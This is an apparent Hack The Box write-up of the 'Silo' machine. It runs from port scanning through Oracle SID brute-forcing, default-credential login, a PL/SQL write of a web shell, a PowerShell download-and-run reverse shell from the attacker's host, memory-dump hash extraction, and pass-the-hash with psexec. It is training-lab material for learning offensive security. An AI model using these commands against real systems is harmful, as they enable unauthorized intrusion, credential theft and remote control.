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HTB - Silo

Silo

Basic Nmap scan​

Nmap Command: nmap -Pn -n -sC -sV -oA scan_boxs/silo/nmap/10.10.10.82-d-scan 10.10.10.82
Nmap scan report for 10.10.10.82
Host is up (0.15s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 8.5
|_http-server-header: Microsoft-IIS/8.5
|_http-title: IIS Windows Server
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1521/tcp  open  oracle-tns   Oracle TNS listener 11.2.0.2.0 (unauthorized)
8080/tcp  open  http         Oracle XML DB Enterprise Edition httpd
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=XDB
|_http-server-header: Oracle XML DB/Oracle Database
|_http-title: 400 Bad Request
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49159/tcp open  oracle-tns   Oracle TNS listener (requires service name)
49160/tcp open  msrpc        Microsoft Windows RPC
49161/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -2s, deviation: 1s, median: -3s
| smb2-time: 
|   date: 2022-08-08T09:35:30
|_  start_date: 2022-08-08T09:26:04
| smb-security-mode: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: supported
| smb2-security-mode: 
|   3.0.2: 
|_    Message signing enabled but not required

Open ports : 80,135,139,445,1521,8080,49152,49153,49154,49155,49159,49160,49161

PORTSERVICEPRODUCTVERSIONEXTRAINFO
80httpMicrosoft IIS httpd8.5
135msrpcMicrosoft Windows RPC
139netbios-ssnMicrosoft Windows netbios-ssn
445microsoft-dsMicrosoft Windows Server 2008 R2 - 2012 microsoft-ds
1521oracle-tnsOracle TNS listener11.2.0.2.0unauthorized
8080httpOracle XML DB Enterprise Edition httpd
49152msrpcMicrosoft Windows RPC
49153msrpcMicrosoft Windows RPC
49154msrpcMicrosoft Windows RPC
49155msrpcMicrosoft Windows RPC
49159oracle-tnsOracle TNS listenerrequires service name
49160msrpcMicrosoft Windows RPC
49161msrpcMicrosoft Windows RPC

Port 80​

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gobuster and nikto didn't find much information.

Port 1521​

Nmap detects running oracle 1521/tcp open oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized)

Using hydra to identify the sid.

hydra -L /usr/share/metasploit-framework/data/wordlists/sid.txt 10.10.10.82 oracle-sid

SID

Looks like the sid is XE.

Oracle default logins​

Trying to login with default oracle user/password
sqlplus64 scott/[email protected]:1521/XE as sysdba

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Writing to a file

declare
  f utl_file.file_type;
  payload varchar(5000) := 'Hello world';
begin
  f := utl_file.fopen('/inetpub/wwwroot','helloworld.txt','W');
  utl_file.put_line(f,payload);
  utl_file.fclose(f);
end;
/

/ forward slash to execute file.

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Writing exploit aspx file​

Oracle write exploit to file​

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Accessing shell.aspx file
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Exploit​

The current user
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current directory
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Reverse shell​

Executing the reverse shell

powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.15/rev91.ps1')

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user flag​

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Privilege escalation​

Accessing

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Accessing the file Oracle issue.txt from the web exploit we uploaded.

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Accessing the file again with the new password £%Hm8646uC$
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Setting up volatility​

python -m pip install distorm3==3.4.4
python -m pip install pycrypto
git clone https://github.com/volatilityfoundation/volatility.git
chmod +x volatility/vol.py
volatility/vol.py --info

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Analyzing the Dmp file​

volatility/vol.py kdbgscan -f loot/SILO-20180105-221806.dmp 

volatility/vol.py kdbgscan -f loot/SILO-20180105-221806.dmp --profile Win2012R2x64 hivelist 

volatility/vol.py -f loot/SILO-20180105-221806.dmp --profile Win2012R2x64 hashdump -y 0xffffc00000028000 -s 0xffffc00000619000

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Abusing the hash with psexec​

psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7 -target-ip 10.10.10.82 [email protected]

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Root Flags​

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